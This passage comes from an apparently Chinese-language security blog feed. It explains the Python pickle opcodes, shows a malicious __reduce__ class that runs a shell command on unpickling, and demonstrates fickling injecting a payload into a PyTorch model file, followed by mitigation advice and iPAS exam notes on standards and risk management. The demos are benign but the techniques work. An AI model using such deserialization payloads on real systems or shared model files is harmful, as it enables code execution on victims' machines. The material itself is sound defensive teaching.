stack</td></tr><tr><td align="center"><strong>N</strong></td><td align="left">實例化一個 None</td><td align="left"><code>N</code></td><td align="left">取得的 None 對象入 stack</td></tr><tr><td align="center"><strong>S</strong></td><td align="left">實例化一個字串對象</td><td align="left"><code>S&#39;xxx&#39;\n</code><br>也可使用雙引號或 <code>\&#39;</code> 等 Python 字串形式</td><td align="left">取得的字串對象入 stack</td></tr><tr><td align="center"><strong>V</strong></td><td align="left">實例化一個 Unicode 字串對象</td><td align="left"><code>Vxxx\n</code></td><td align="left">取得的字串對象入 stack</td></tr><tr><td align="center"><strong>I</strong></td><td align="left">實例化一個 int 對象</td><td align="left"><code>Ixxx\n</code></td><td align="left">取得的整數對象入 stack</td></tr><tr><td align="center"><strong>F</strong></td><td align="left">實例化一個 float 對象</td><td align="left"><code>Fx.x\n</code></td><td align="left">取得的浮點數對象入 stack</td></tr><tr><td align="center"><strong>R</strong></td><td align="left">選擇 stack 上的第一個對象作為函數、第二個對象作為參數（第二個對象必須為元組），然後呼叫該函數</td><td align="left"><code>R</code></td><td align="left">函數和參數出 stack，函數的返回值入 stack</td></tr><tr><td align="center"><strong>.</strong></td><td align="left">程式結束，stack 頂的單一元素作為 <code>pickle.loads()</code> 的返回值</td><td align="left"><code>.</code></td><td align="left">無</td></tr><tr><td align="center"><strong>(</strong></td><td align="left">向 stack 中壓入一個 MARK 標記</td><td align="left"><code>(</code></td><td align="left">MARK 標記入 stack</td></tr><tr><td align="center"><strong>t</strong></td><td align="left">尋找 stack 中的上一個 MARK，並組合之間的資料為元組</td><td align="left"><code>t</code></td><td align="left">MARK 標記以及被組合的資料出 stack，生成的元組入 stack</td></tr><tr><td align="center"><strong>)</strong></td><td align="left">向 stack 中直接壓入一個空元組</td><td align="left"><code>)</code></td><td align="left">空元組入 stack</td></tr><tr><td align="center"><strong>l</strong></td><td align="left">尋找 stack 中的上一個 MARK，並組合之間的資料為列表</td><td align="left"><code>l</code></td><td align="left">MARK 標記以及被組合的資料出 stack，生成的列表入 stack</td></tr><tr><td align="center"><strong>]</strong></td><td align="left">向 stack 中直接壓入一個空列表</td><td align="left"><code>]</code></td><td align="left">空列表入 stack</td></tr><tr><td align="center"><strong>d</strong></td><td align="left">尋找 stack 中的上一個 MARK，並組合之間的資料為字典（資料必須有偶數個，即呈 key-value 對）</td><td align="left"><code>d</code></td><td align="left">MARK 標記以及被組合的資料出 stack，生成的字典入 stack</td></tr><tr><td align="center"><strong>}</strong></td><td align="left">向 stack 中直接壓入一個空字典</td><td align="left"><code>&#125;</code></td><td align="left">空字典入 stack</td></tr><tr><td align="center"><strong>p</strong></td><td align="left">將 stack 頂對象儲存至 memo_n</td><td align="left"><code>pn\n</code></td><td align="left">無</td></tr><tr><td align="center"><strong>g</strong></td><td align="left">將 memo_n 的對象壓入 stack</td><td align="left"><code>gn\n</code></td><td align="left">將指定索引的 memo 對象入 stack</td></tr><tr><td align="center"><strong>0</strong></td><td align="left">丟棄 stack 頂對象</td><td align="left"><code>0</code></td><td align="left">stack 頂對象被丟棄</td></tr><tr><td align="center"><strong>b</strong></td><td align="left">使用 stack 中的第一個元素（儲存多個屬性名: 屬性值的字典）對第二個元素（對象實例）進行屬性設置</td><td align="left"><code>b</code></td><td align="left">stack 上第一個元素出 stack；第二個元素（對象）被更新</td></tr><tr><td align="center"><strong>s</strong></td><td align="left">將 stack 的第一個和第二個對象作為 key-value 對，添加或更新到 stack 的第三個對象（必須為列表或字典，列表以數字作為 key）</td><td align="left"><code>s</code></td><td align="left">第一、二個元素出 stack，第三個元素（列表或字典）被更新</td></tr><tr><td align="center"><strong>u</strong></td><td align="left">尋找 stack 中的上一個 MARK，組合之間的資料（必須有偶數個，即 key-value 對）並全部添加或更新到該 MARK 之前的一個對象（必須為字典）</td><td align="left"><code>u</code></td><td align="left">MARK 標記以及被組合的資料出 stack，字典被更新</td></tr><tr><td align="center"><strong>a</strong></td><td align="left">將 stack 的第一個元素 append 到第二個元素（列表）中</td><td align="left"><code>a</code></td><td align="left">stack 頂元素出 stack，第二個元素（列表）被更新</td></tr><tr><td align="center"><strong>e</strong></td><td align="left">尋找 stack 中的上一個 MARK，組合之間的資料並 extends 到該 MARK 之前的一個元素（必須為列表）</td><td align="left"><code>e</code></td><td align="left">MARK 標記以及被組合的資料出 stack，列表被更新</td></tr></tbody></table><hr><h2 id="⚠️What’s-Wrong-with-Pickle"><a href="#⚠️What’s-Wrong-with-Pickle" class="headerlink" title="⚠️What’s Wrong with Pickle ?"></a>⚠️What’s Wrong with Pickle ?</h2><p>Pickle文檔上有出現這一個警告<br><img src="/./assets/image.png" alt="alt text"></p><p>Pickle當中有一個 <code>__reduce__</code> 可以使用，當反序列化時會自動呼叫</p><p>以下範例為製作一個惡意的pickle</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> pickle</span><br><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">EvilPickle</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__reduce__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> (subprocess.Popen, ((<span class="string">&#x27;ls&#x27;</span>,),))</span><br><span class="line">e =  EvilPickle()</span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;evil.pkl&#x27;</span>, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    pickle.dump(e, f)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>用pickletool 把惡意pickle檔dump出來看看</p><figure class="highlight nestedtext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">    <span class="attribute">0</span><span class="punctuation">:</span> <span class="string">c    GLOBAL     &#x27;commands Popen&#x27;</span></span><br><span class="line">   <span class="attribute">16</span><span class="punctuation">:</span> <span class="string">p    PUT        0</span></span><br><span class="line">   <span class="attribute">19</span><span class="punctuation">:</span> <span class="string">(    MARK</span></span><br><span class="line">   <span class="attribute">20</span><span class="punctuation">:</span> <span class="string">(        MARK</span></span><br><span class="line">   <span class="attribute">21</span><span class="punctuation">:</span> <span class="string">V            UNICODE    &#x27;ls&#x27;</span></span><br><span class="line">   <span class="attribute">25</span><span class="punctuation">:</span> <span class="string">p            PUT        1</span></span><br><span class="line">   <span class="attribute">28</span><span class="punctuation">:</span> <span class="string">t            TUPLE      (MARK at 20)</span></span><br><span class="line">   <span class="attribute">29</span><span class="punctuation">:</span> <span class="string">p        PUT        2</span></span><br><span class="line">   <span class="attribute">32</span><span class="punctuation">:</span> <span class="string">t        TUPLE      (MARK at 19)</span></span><br><span class="line">   <span class="attribute">33</span><span class="punctuation">:</span> <span class="string">p    PUT        3</span></span><br><span class="line">   <span class="attribute">36</span><span class="punctuation">:</span> <span class="string">R    REDUCE</span></span><br><span class="line">   <span class="attribute">37</span><span class="punctuation">:</span> <span class="string">p    PUT        4</span></span><br><span class="line">   <span class="attribute">40</span><span class="punctuation">:</span> <span class="string">.    STOP</span></span><br><span class="line">highest protocol among opcodes = 0</span><br></pre></td></tr></table></figure><p>執行結果：<br><img src="/./assets/reduce_RCE.png" alt="alt text"></p><p>即可執行<code>ls</code>指令</p><hr><h2 id="💤Sleepy-Pickle"><a href="#💤Sleepy-Pickle" class="headerlink" title="💤Sleepy Pickle"></a>💤Sleepy Pickle</h2><p>利用pickle不安全的特性，將惡意的Bytecode植入使用pickle的模型檔案內。</p><p><img src="/./assets/image-2.png" alt="alt text"><br>有一個針對此攻擊而產生的工具：<a href="https://github.com/trailofbits/fickling">fickling</a></p><p>此工具可以輕易的將想要執行的程式轉成bytecode值入進pickle中，另外也有檢測pickele內的惡意行為功能</p><p>demo:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> torch</span><br><span class="line"><span class="keyword">import</span> torchvision.models <span class="keyword">as</span> models</span><br><span class="line"><span class="keyword">import</span> warnings</span><br><span class="line"><span class="keyword">from</span> fickling.pytorch <span class="keyword">import</span> PyTorchModelWrapper</span><br><span class="line">warnings.filterwarnings(<span class="string">&quot;ignore&quot;</span>)</span><br><span class="line"></span><br><span class="line">model = models.mobilenet_v2()</span><br><span class="line">torch.save(model, <span class="string">&quot;mobilenet.pth&quot;</span>)</span><br><span class="line"></span><br><span class="line">result = PyTorchModelWrapper(<span class="string">&quot;mobilenet.pth&quot;</span>)</span><br><span class="line"></span><br><span class="line">temp_filename = <span class="string">&quot;temp_filename.pt&quot;</span></span><br><span class="line">result.inject_payload(</span><br><span class="line">    <span class="string">&quot;print(&#x27;Inject successful!&#x27;)&quot;</span>,</span><br><span class="line">    temp_filename,</span><br><span class="line">    injection=<span class="string">&quot;insertion&quot;</span>,</span><br><span class="line">    overwrite=<span class="literal">True</span>,</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Load file with injected payload</span></span><br><span class="line">torch.load(<span class="string">&quot;mobilenet.pth&quot;</span>)</span><br></pre></td></tr></table></figure><p>輸出：</p><p><img src="/./assets/image-1.png" alt="alt text"></p><p>在 Hugging face 上在目前常出現的是<code>pytorch_model.bin</code><br><img src="/./assets/image-3.png" alt="alt text"></p><p>pytorch_model.bin是使用PyTorch中的torch.save 函數所生成的二進位檔案，裡面會存 weights, biases, 或者其他parameters，如果將它unzip會有一個data.pkl可以利用(會依照Pytorch不同的版本裡面會包含不同的檔案)</p><p>!!! info</p><pre><code>* PyTorch v0.1.1: Tar file with sys_info, pickle, storages, and tensors* PyTorch v0.1.10: Stacked pickle files* TorchScript v1.0: ZIP file with model.json* TorchScript v1.1: ZIP file with model.json and attributes.pkl* TorchScript v1.3: ZIP file with data.pkl and constants.pkl* TorchScript v1.4: ZIP file with data.pkl, constants.pkl, and version set at 2 or higher (2 pickle files and a folder)* PyTorch v1.3: ZIP file containing data.pkl (1 pickle file)* PyTorch model archive format[ZIP]: ZIP file that includes Python code files and pickle files</code></pre><p><img src="/./assets/image-4.png" alt="alt text"></p><p>!!! warning “PyTorch適用版本”<br>    PyTorch &lt;2.6 在最新 2.6版本中，Pytorch 將 torch.load 的參數weights_only預設為True</p><pre><code>&gt; Also in this release as an important security improvement measure we have changed the default value for weights_only parameter of torch.load. This is a backward compatibility-breaking change, please see this forum post for more details.</code></pre><p>接下來Hacker 會先透過中間人攻擊、供應鏈攻擊、社交工程等手法，將惡意Pickle檔案傳送至受害者的系統，一旦反序列化後有可能會進行以下的惡意攻擊</p><ul><li>修改模型參數</li></ul><p>可以去微調模型的參數讓他輸出出誤導性或有惡意的輸出</p><p>如：<a href="https://rome.baulab.info/">ROME</a></p><p><img src="/./assets/image6.png" alt="alt text"></p><ul><li>釣魚</li></ul><p>可以在每次問答時插入惡意的連結<br><img src="/./assets/image-5.png" alt="alt text"></p><ul><li>埋後門</li><li>XSS</li><li>竊取使用者資料</li><li>竄改資料</li><li>…</li></ul><hr><h2 id="🦾How-To-Prevent"><a href="#🦾How-To-Prevent" class="headerlink" title="🦾How To Prevent"></a>🦾How To Prevent</h2><ul><li>不要使用Pickle，使用 SafeTensors.</li><li>如果一定要使用Pickle，需要使用fickling對pickle進行掃描或者限制unpickler</li></ul><hr><h2 id="📚Reference"><a href="#📚Reference" class="headerlink" title="📚Reference"></a>📚Reference</h2><ul><li><p><a href="https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/">Exploiting ML models with pickle file attacks: Part 1</a></p></li><li><p><a href="https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-2/">Exploiting ML models with pickle file attacks: Part 2</a></p></li><li><p><a href="https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/">Never a dill moment: Exploiting machine learning pickle files</a></p></li><li><p><a href="https://thesisapi.lib.nycu.edu.tw/server/api/core/bitstreams/affc3d4c-9f19-429a-b392-ce8420d7351b/content">Pain Pickle: 繞過 Python 中受限制的 Unpickler 之自動化脅迫生成</a></p></li><li><p><a href="https://www.ithome.com.tw/news/163545">研究人員揭露針對機器學習模型而來的攻擊手法Sleepy Pickle</a></p></li><li><p><a href="https://goodapple.top/archives/1069">Pickle反序列化</a></p></li></ul>]]></content>
    
    
    <summary type="html">以 Python Pickle 為例，探討序列化/反序列化與安全風險</summary>
    
    
    
    <category term="Blog" scheme="https://yunshiuan.com/categories/Blog/"/>
    
    
    <category term="Pickle" scheme="https://yunshiuan.com/tags/Pickle/"/>
    
    <category term="Python" scheme="https://yunshiuan.com/tags/Python/"/>
    
    <category term="Deserialization" scheme="https://yunshiuan.com/tags/Deserialization/"/>
    
  </entry>
  
  <entry>
    <title>🎖️ IPAS 資安工程師中級筆記</title>
    <link href="https://yunshiuan.com/2024/09/15/IPAS%E8%B3%87%E5%AE%89%E5%B7%A5%E7%A8%8B%E5%B8%AB/"/>
    <id>https://yunshiuan.com/2024/09/15/IPAS%E8%B3%87%E5%AE%89%E5%B7%A5%E7%A8%8B%E5%B8%AB/</id>
    <published>2024-09-15T06:00:00.000Z</published>
    <updated>2026-05-11T12:09:40.823Z</updated>
    
    <content type="html"><![CDATA[<hr><h1 id="練習網址"><a href="#練習網址" class="headerlink" title="練習網址"></a>練習網址</h1><ul><li><p><a href="https://drive.google.com/drive/folders/1bPd7Y4PRciqAFrMWPBZ29kps5O0Jh6b8">歷屆考古題</a></p></li><li><p><a href="https://docs.google.com/forms/d/e/1FAIpQLSeDBFyHoanvjsETYjJoxQPbWqaahISPuq-r3Gijr15folh1Cg/viewform">iPas_資訊安全防護實務_中級_歷屆考題</a></p></li><li><p><a href="https://docs.google.com/forms/d/e/1FAIpQLScJGNb341MvMUCDjexHGYAlOuQnZGD5JJmaaurSd1g2OVpTjw/viewform">iPas_資訊安全規劃實務_中級_歷屆考題</a> </p></li><li><p><a href="https://hackmd.io/@hiiii/ryOzgaf0a">iPAS資安證照討論區 Q&amp;A</a></p></li><li><p><a href="https://hackmd.io/@Not/iPASInformationSecuritySpecialist">iPAS資訊安全工程師中級筆記</a></p></li></ul><hr><h1 id="筆記"><a href="#筆記" class="headerlink" title="筆記"></a>筆記</h1><h2 id="OSI"><a href="#OSI" class="headerlink" title="OSI"></a>OSI</h2><table><thead><tr><th>7-layout</th><th>Description</th></tr></thead><tbody><tr><td><code>應用層</code></td><td>通訊協定，如：HTTP、FTP</td></tr><tr><td><code>表達層</code></td><td>通訊過程中使用的編碼，如ASCII、JPEG</td></tr><tr><td><code>會議層</code></td><td>控制開啟與關閉的通訊，檢查傳輸的完整性</td></tr><tr><td><code>傳輸層</code></td><td>端對端之間的通訊、確保資料完整性</td></tr><tr><td><code>網路層</code></td><td>不同網路之間的資料傳輸(封包)：ip、ICMP</td></tr><tr><td><code>資料連結層</code></td><td>同一網路上的兩個裝置之間的資料傳輸</td></tr><tr><td><code>實體層</code></td><td>實體設備</td></tr></tbody></table><h2 id="設備"><a href="#設備" class="headerlink" title="設備"></a>設備</h2><h3 id="橋接器"><a href="#橋接器" class="headerlink" title="橋接器"></a>橋接器</h3><ul><li>OSI 資料連接層</li><li>連接兩個不同區域網路的裝置</li></ul><h3 id="RAID"><a href="#RAID" class="headerlink" title="RAID"></a>RAID</h3><table><thead><tr><th>RAID 等級</th><th>最少磁碟數量</th><th>容錯能力</th><th>讀取效能</th><th>寫入效能</th><th>容量利用率</th></tr></thead><tbody><tr><td><strong>RAID 0</strong></td><td>2</td><td>❌ 無容錯</td><td>高</td><td>高</td><td>100%</td></tr><tr><td><strong>RAID 1</strong></td><td>2</td><td>允許 1 顆故障</td><td>高</td><td>低</td><td>50%</td></tr><tr><td><strong>RAID 5</strong></td><td>3</td><td>允許 1 顆故障</td><td>高</td><td>中</td><td>(N-1)&#x2F;N</td></tr><tr><td><strong>RAID 6</strong></td><td>4</td><td>允許 2 顆故障</td><td>高</td><td>低</td><td>(N-2)&#x2F;N</td></tr><tr><td><strong>RAID 10</strong></td><td>4</td><td>允許 1 顆（每個鏡像組）</td><td>高</td><td>高</td><td>50%</td></tr></tbody></table><h2 id="工具"><a href="#工具" class="headerlink" title="工具"></a>工具</h2><h3 id="IDS-IPS"><a href="#IDS-IPS" class="headerlink" title="IDS&#x2F;IPS"></a>IDS&#x2F;IPS</h3><table><thead><tr><th>項目</th><th>IDS（入侵偵測系統）</th><th>IPS（入侵防禦系統）</th></tr></thead><tbody><tr><td><strong>全名</strong></td><td>Intrusion Detection System</td><td>Intrusion Prevention System</td></tr><tr><td><strong>主要功能</strong></td><td>偵測並報告惡意或異常行為</td><td>偵測、封鎖並防止惡意或異常行為</td></tr><tr><td><strong>動作</strong></td><td>✅ 監聽與記錄流量<br>✅ 發出警報</td><td>✅ 監聽與記錄流量<br>✅ 發出警報<br>✅ 自動阻止攻擊</td></tr><tr><td><strong>處理方式</strong></td><td>被動（只發出警報，管理員需手動處理）</td><td>主動（自動進行防禦與阻止）</td></tr><tr><td><strong>部署位置</strong></td><td>內部網路或 DMZ</td><td>通常部署在閘道或防火牆之後</td></tr><tr><td><strong>對流量影響</strong></td><td>不影響流量</td><td>可能影響效能（因為需要即時分析和處理）</td></tr><tr><td><strong>處理技術</strong></td><td>- 簽章比對<br>- 行為分析<br>- 協議異常檢測</td><td>- 簽章比對<br>- 行為分析<br>- 協議異常檢測<br>- 即時封鎖</td></tr><tr><td><strong>偵測方法</strong></td><td>- 簽章式偵測<br>- 異常行為偵測</td><td>- 簽章式偵測<br>- 異常行為偵測<br>- 回應式處理</td></tr><tr><td><strong>優勢</strong></td><td>✅ 不會影響網路效能<br>✅ 可用來調查攻擊來源</td><td>✅ 可即時封鎖攻擊<br>✅ 自動處理無需人力介入</td></tr><tr><td><strong>缺點</strong></td><td>❌ 無法即時阻止攻擊<br>❌ 需要人工干預</td><td>❌ 錯誤封鎖可能影響正常服務<br>❌ 可能降低網路效能</td></tr><tr><td><strong>適用場合</strong></td><td>- 需進行攻擊監控與記錄<br>- 調查及取證用途</td><td>- 需即時防禦攻擊<br>- 防止 DDoS 或零時差攻擊</td></tr><tr><td><strong>常見工具</strong></td><td>- Snort<br>- Suricata<br>- Bro（Zeek）</td><td>- Snort（IPS 模式）<br>- Suricata（IPS 模式）<br>- Palo Alto Networks<br>- Cisco Firepower</td></tr></tbody></table><h2 id="攻擊Attack"><a href="#攻擊Attack" class="headerlink" title="攻擊Attack"></a>攻擊Attack</h2><h3 id="中國菜刀-China-chopper"><a href="#中國菜刀-China-chopper" class="headerlink" title="中國菜刀 China chopper"></a>中國菜刀 China chopper</h3><p>通過向網站提交一句簡短的程式碼,來達到向伺服器插入木馬,並最後獲取 webshell</p><hr><h2 id="基礎度量群-Base-Metric-Group"><a href="#基礎度量群-Base-Metric-Group" class="headerlink" title="基礎度量群 Base Metric Group"></a>基礎度量群 Base Metric Group</h2><p>基本度量群組考慮的是與漏洞本身相關的特徵，例如攻擊向量、攻擊複雜度、身份驗證要求、機密性影響、完整性影響和可用性影響等等。</p><h3 id="Threat-Metric-Group"><a href="#Threat-Metric-Group" class="headerlink" title="Threat Metric Group"></a>Threat Metric Group</h3><h3 id="環境度量群-Environmental-Metric-Group"><a href="#環境度量群-Environmental-Metric-Group" class="headerlink" title="環境度量群 Environmental Metric Group"></a>環境度量群 Environmental Metric Group</h3><p>漏洞在特定使用者環境下的影響。這些因素可以包括組織特有的需求和限制，例如資源重要性、完整性要求和可用性要求等等</p><h3 id="Supplemental-Metric-Group"><a href="#Supplemental-Metric-Group" class="headerlink" title="Supplemental Metric Group"></a>Supplemental Metric Group</h3><hr><h2 id="標準"><a href="#標準" class="headerlink" title="標準"></a>標準</h2><h3 id="ISA-IEC-62443"><a href="#ISA-IEC-62443" class="headerlink" title="ISA&#x2F; IEC 62443"></a>ISA&#x2F; IEC 62443</h3><p>ISA&#x2F;IEC 62443 是針對 工業控制系統（ICS） 和 OT 安全的標準，其中 62443-2-1 規範了安全管理系統，適用於 OT 環境</p><table><thead><tr><th>標準</th><th>重點 &#x2F; 焦點</th></tr></thead><tbody><tr><td>IEC 62443-2-1</td><td>建立工業安全管理系統，提供整體安全策略、政策及程序的規範</td></tr><tr><td>IEC 62443-2-4</td><td>建立與維運組織內部安全管理程式</td></tr><tr><td>IEC 62443-3-3</td><td>工業自動化與控制系統的技術安全要求與安全等級</td></tr><tr><td>IEC 62443-2-3</td><td>針對系統整合商或服務提供商的安全管理流程與工程實踐</td></tr><tr><td>IEC 62443-4-2</td><td>產品層面安全要求，重點在安全產品開發與技術要求</td></tr></tbody></table><h3 id="ISO-22301-營運持續管理系統-BCMS"><a href="#ISO-22301-營運持續管理系統-BCMS" class="headerlink" title="ISO 22301 營運持續管理系統(BCMS)"></a>ISO 22301 營運持續管理系統(BCMS)</h3><p>營運持續管理（BCMS）的一般標準流程如下：</p><ol><li>執行營運衝擊分析（BIA）</li><li>建立營運持續策略與架構</li><li>建立營運持續策略與計畫</li><li>演練與測試</li><li>持續改進與回饋修正</li></ol><p>BCM組織策略</p><ul><li><p>接班人計畫（Succession Planning）</p><p>  定義：用於管理階層或關鍵職務之長期培養、接班計畫，著重未來人員培養。</p><p>  特點：適用於公司長期發展及管理階層的接續，並非短期應急使用。</p></li><li><p>代理人計畫（Alternate Personnel Plan</p><p>  定義：在緊急狀況下，立即有替代人員可執行相同職務。 </p><p>  特點：強調立即性的職務代理，快速提升公司短期營運持續能力。</p></li><li><p>工作輪休計畫（Job Rotation）</p><p>  定義：員工定期交換職務以避免舞弊或單點失敗，通常用於內控管理。</p><p>  特點：偏重於內控，降低內部風險，與營運持續有關但非疫情下最直接的做法。</p></li><li><p>員工進修計畫（Employee Training Program）</p><p>  定義：長期提供員工知識技能訓練，以提升競爭力。</p><p>  特點：偏重長期能力培養，對短期疫情緊急應變較無立即效果。</p></li></ul><h3 id="ISO-IEC-27001"><a href="#ISO-IEC-27001" class="headerlink" title="ISO&#x2F;IEC 27001"></a>ISO&#x2F;IEC 27001</h3><p>資訊安全管理系統要求，規範組織如何建立、實施、維護與持續改善ISMS。</p><ul><li><p>資訊安全政策的規範 </p><p>  必須制訂正式的資訊安全政策，並確保員工了解並遵守。<br>  內容應包括：</p><ul><li>組織安全方針</li><li>管理責任</li><li>資料分類和存取控制</li></ul></li><li><p>風險評鑑與風險處理的過程與結果 </p><p>  組織必須保存：</p><ul><li>風險識別結果</li><li>風險分析結果</li><li>風險處理措施及處理結果</li></ul><p>  用來證明風險評估結果及選擇處理方式的合理性。</p></li><li><p>資訊安全目標的內容與監督量測的結果 </p><p>  設定資訊安全目標（如：系統可用性、合規性、存取控制等），定期監控與量測結果，並進行調整和優化。</p></li></ul><h3 id="ISO-IEC-27002"><a href="#ISO-IEC-27002" class="headerlink" title="ISO&#x2F;IEC 27002"></a>ISO&#x2F;IEC 27002</h3><p>資安控制措施實務指引，提供實務上的控制措施建議（例如訪問控制、加密）。</p><ul><li><p>預防（Preventive）</p><p>  目標是防止事件或攻擊的發生。<br>  例子：防火牆設定、存取控制、加密。</p></li><li><p>偵測（Detective）</p><p>  目標是在事件發生時或發生後，能夠即時或快速偵測到。<br>  例子：日誌記錄、異常行為監控、入侵偵測系統（IDS）。</p></li><li><p>矯正（Corrective）</p><p>  目標是在事件發生後，進行修復或回復，降低影響，恢復正常狀態。<br>  例子：資料備份、系統修復、災難復原（DR）。</p></li><li><p>威嚇性（Deterrent）</p><p>  透過警告或懲戒來阻止行為<br>  例：法律聲明、違規處罰、登入警告</p></li><li><p>補償性（Compensating）</p><p>  在其他控制失效時進行替代<br>  例：建立額外防禦機制</p></li></ul><h3 id="ISO-IEC-27003"><a href="#ISO-IEC-27003" class="headerlink" title="ISO&#x2F;IEC 27003"></a>ISO&#x2F;IEC 27003</h3><p>資訊安全管理系統（ISMS）實施指南，提供如何實施與導入ISMS的詳細步驟與方法的指引。</p><h3 id="ISO-IEC-27004"><a href="#ISO-IEC-27004" class="headerlink" title="ISO&#x2F;IEC 27004"></a>ISO&#x2F;IEC 27004</h3><p>資訊安全管理的績效評估指引，用於量測與監控ISMS的績效。</p><h3 id="ISO-IEC-27005-資安風險評鑒"><a href="#ISO-IEC-27005-資安風險評鑒" class="headerlink" title="ISO&#x2F;IEC 27005 資安風險評鑒"></a>ISO&#x2F;IEC 27005 資安風險評鑒</h3><figure markdown="span">  ![](./assets/ISO27001-struct.png)  <figcaption>Source : https://ithelp.ithome.com.tw/articles/10284562</figcaption></figure><ul><li>全景建立<ul><li>明確訂定風險管理的範圍與情境，包括外部法規、內部政策、利害關係人的需求、營運目標等。</li><li>此階段須考量外在環境要求，包括法規要求、產業標準、合約義務等外部因素</li></ul></li><li>風險識別<ul><li>目的： 找出需要保護的資產以及與這些資產相關的威脅、脆弱性與可能產生的後果。</li><li>工作項目：<ul><li>識別組織中所有重要的資訊資產（例如資料、系統、硬體、業務流程、人員等）。</li><li>確認各類威脅（包括自然災害、人為攻擊、操作失誤等）以及這些威脅可能的來源。</li><li>辨認與資產相關的漏洞或控制缺陷，這些漏洞可能被威脅利用。</li><li>描述各項風險事件可能導致的後果或影響。</li></ul></li></ul></li></ul><ol start="2"><li>風險分析<ul><li>目的： 評估風險事件發生的可能性及其對業務造成的潛在影響。<ul><li>工作項目：</li><li>根據已識別的威脅與漏洞，估算事件發生的可能性（可採用定性、定量或半定量的方法）。</li><li>評估若風險事件發生時，可能帶來的損失、衝擊或影響（例如資金損失、業務中斷、聲譽受損等）。</li><li>考量現有的控制措施對降低威脅可能性與影響的效果。</li></ul></li></ul></li><li>風險評估<ul><li>目的： 將風險分析的結果與組織設定的風險接受準則進行比較，以確定哪些風險需要進行處理。</li><li>工作項目：<ul><li>根據分析結果，將風險依據其可能性和影響大小進行排序和分級。</li><li>與預先制定的風險接受標準進行對照，判斷哪些風險在可接受範圍內，哪些需要進一步進行風險處理（如降低、避免、轉移或接受）。</li><li>為後續的風險處理制定優先順序，確保資源能夠聚焦在最重要的風險上。</li></ul></li></ul></li></ol><h4 id="風險處理"><a href="#風險處理" class="headerlink" title="風險處理"></a>風險處理</h4><ul><li><p>🔻 降低風險&#x2F;風險控制 (Risk Mitigation)</p><p>  實施控制措施來減少威脅或降低風險影響。</p></li></ul><p>例如：防火牆設定、漏洞修補、加密資料、嚴格存取控制等。</p><ul><li><p>🔄 轉移風險（風險分擔）</p><p>  將風險移轉給第三方承擔或共同分擔。</p></li></ul><p>例如：購買保險、外包資安監控（MSSP）服務、第三方合作廠商承擔等。</p><ul><li><p>⚠️ 接受風險</p><p>  組織在評估後，認為風險在可承受範圍內，無需額外控制措施。</p></li></ul><p>例如：若風險發生機率或影響極低，可選擇不處理直接接受。</p><ul><li><p>❌ 規避風險（避免風險）</p><p>  停止進行導致風險產生的業務或活動，以消除風險。</p></li></ul><p>例如：直接停止高風險業務或活動。</p><h4 id="風險矩陣"><a href="#風險矩陣" class="headerlink" title="風險矩陣"></a>風險矩陣</h4><figure markdown="span">![](./assets/風險矩陣.jpg)<figcaption>Source : https://www.facebook.com/photo.php?fbid=3227828824203656&id=1668924616760759&set=a.1877463735906845</figcaption></figure><table><thead><tr><th>指標</th><th>定義</th><th>說明</th></tr></thead><tbody><tr><td>RTO（Recovery Time Objective）</td><td>復原時間目標</td><td>系統發生故障後，應在多少時間內完成復原並恢復運行。</td></tr><tr><td>RPO（Recovery Point Objective）</td><td>復原點目標</td><td>系統復原時，最多允許損失多少時間內的資料（即「允許的資料損失範圍」）。</td></tr><tr><td>MTTR（Mean Time to Recovery）</td><td>平均復原時間</td><td>系統在發生故障後，實際平均完成復原所需的時間。</td></tr><tr><td>MTTF（Mean Time to Failure）</td><td>平均失效時間</td><td>系統平均在運行狀態下持續多久才會發生故障（即系統的可靠度）。</td></tr></tbody></table><h3 id="ISO-27701"><a href="#ISO-27701" class="headerlink" title="ISO 27701"></a>ISO 27701</h3><p>專門的個資與隱私資訊管理系統（Privacy Information Management System，PIMS）指引</p><h3 id="ISO-22317-2021-營運衝擊評鑒"><a href="#ISO-22317-2021-營運衝擊評鑒" class="headerlink" title="ISO 22317:2021 營運衝擊評鑒"></a>ISO 22317:2021 營運衝擊評鑒</h3><h4 id="營運衝擊分析（Business-Impact-Analysis-BIA）"><a href="#營運衝擊分析（Business-Impact-Analysis-BIA）" class="headerlink" title="營運衝擊分析（Business Impact Analysis, BIA）"></a>營運衝擊分析（Business Impact Analysis, BIA）</h4><p>鑑別關鍵營運流程及鑑別關鍵營運流程中斷對組織造成之. 傷害或損失、及中斷後回復至可接受的作業水準之回復時間</p><ul><li>財務衝擊（Financial Impact）：分析業務中斷可能造成的直接或間接財務損失。</li><li>商譽衝擊（Reputational 